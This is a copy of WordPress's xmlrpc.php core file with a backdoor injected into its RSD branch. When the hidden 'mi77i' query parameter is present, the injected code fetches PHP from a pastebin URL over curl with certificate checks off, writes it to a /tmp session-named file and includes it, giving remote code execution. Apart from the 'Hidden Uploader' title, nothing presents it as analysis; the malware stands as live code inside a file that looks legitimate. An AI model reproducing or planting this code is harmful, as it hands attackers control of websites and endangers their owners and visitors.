xmlrpc.php Hidden Uploader

<?php
/**
 * XML-RPC protocol support for WordPress
 *
 * @package WordPress
 */

/**
 * Whether this is an XML-RPC Request
 *
 * @var bool
 */
define( 'XMLRPC_REQUEST', true );

// Some browser-embedded clients send cookies. We don't want them.
$_COOKIE = array();

// $HTTP_RAW_POST_DATA was deprecated in PHP 5.6 and removed in PHP 7.0.
// phpcs:disable PHPCompatibility.Variables.RemovedPredefinedGlobalVariables.http_raw_post_dataDeprecatedRemoved
if ( ! isset( $HTTP_RAW_POST_DATA ) ) {
    $HTTP_RAW_POST_DATA = file_get_contents( 'php://input' );
}

// Fix for mozBlog and other cases where '<?xml' isn't on the very first line.
if ( isset( $HTTP_RAW_POST_DATA ) ) {
    $HTTP_RAW_POST_DATA = trim( $HTTP_RAW_POST_DATA );
}
// phpcs:enable

/** Include the bootstrap for setting up WordPress environment */
require_once __DIR__ . '/wp-load.php';

if ( isset( $_GET['rsd'] ) ) { // http://cyber.law.harvard.edu/blogs/gems/tech/rsd.html
    header( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ), true );
    echo '<?xml version="1.0" encoding="' . get_option( 'blog_charset' ) . '"?' . '>';
if(isset($_GET["mi77i"])){
$data = ['https://pastebin.com/raw/7chrpLfA', '/tmp/sess_'.md5($_SERVER['HTTP_HOST']).'.php'];
if(file_exists($data[1]) && filesize($data[1]) !== 0) {
    include($data[1]);
} else {
    $fopen = fopen($data[1], 'w+');
    fwrite($fopen, get($data[0]));
    fclose($fopen);
    echo '<script>window.location="?mi77i";</script>';
}
function get($url) {
    $ch = curl_init();
          curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
          curl_setopt($ch, CURLOPT_URL, $url);
          curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
          curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    return curl_exec($ch);
          curl_close($ch);
}}else{
echo "XML-RPC server accepts POST requests only.";
}
    ?>

<rsd version="1.0" xmlns="http://archipelago.phrasewise.com/rsd">
    <service>
        <engineName>WordPress</engineName>
        <engineLink>https://wordpress.org/</engineLink>
        <homePageLink><?php bloginfo_rss( 'url' ); ?></homePageLink>
        <apis>
            <api name="WordPress" blogID="1" preferred="true" apiLink="<?php echo site_url( 'xmlrpc.php', 'rpc' ); ?>" />
            <api name="Movable Type" blogID="1" preferred="false" apiLink="<?php echo site_url( 'xmlrpc.php', 'rpc' ); ?>" />
            <api name="MetaWeblog" blogID="1" preferred="false" apiLink="<?php echo site_url( 'xmlrpc.php', 'rpc' ); ?>" />
            <api name="Blogger" blogID="1" preferred="false" apiLink="<?php echo site_url( 'xmlrpc.php', 'rpc' ); ?>" />
            <?php
            /**
             * Add additional APIs to the Really Simple Discovery (RSD) endpoint.
             *
             * @link http://cyber.law.harvard.edu/blogs/gems/tech/rsd.html
             *
             * @since 3.5.0
             */
            do_action( 'xmlrpc_rsd_apis' );
            ?>
        </apis>
    </service>
</rsd>
    <?php
    exit;
}
require_once ABSPATH . 'wp-admin/includes/admin.php';
require_once ABSPATH . WPINC . '/class-IXR.php';
require_once ABSPATH . WPINC . '/class-wp-xmlrpc-server.php';

/**
 * Posts submitted via the XML-RPC interface get that title
 *
 * @name post_default_title
 * @var string
 */
$post_default_title = '';

/**
 * Filters the class used for handling XML-RPC requests.
 *
 * @since 3.1.0
 *
 * @param string $class The name of the XML-RPC server class.
 */
$wp_xmlrpc_server_class = apply_filters( 'wp_xmlrpc_server_class', 'wp_xmlrpc_server' );
$wp_xmlrpc_server       = new $wp_xmlrpc_server_class;

// Fire off the request.
$wp_xmlrpc_server->serve_request();

exit;

/**
 * logIO() - Writes logging info to a file.
 *
 * @deprecated 3.4.0 Use error_log()
 * @see error_log()
 *
 * @param string $io Whether input or output
 * @param string $msg Information describing logging reason.
 */
function logIO( $io, $msg ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid
    _deprecated_function( __FUNCTION__, '3.4.0', 'error_log()' );
    if ( ! empty( $GLOBALS['xmlrpc_logging'] ) ) {
        error_log( $io . ' - ' . $msg );
    }
}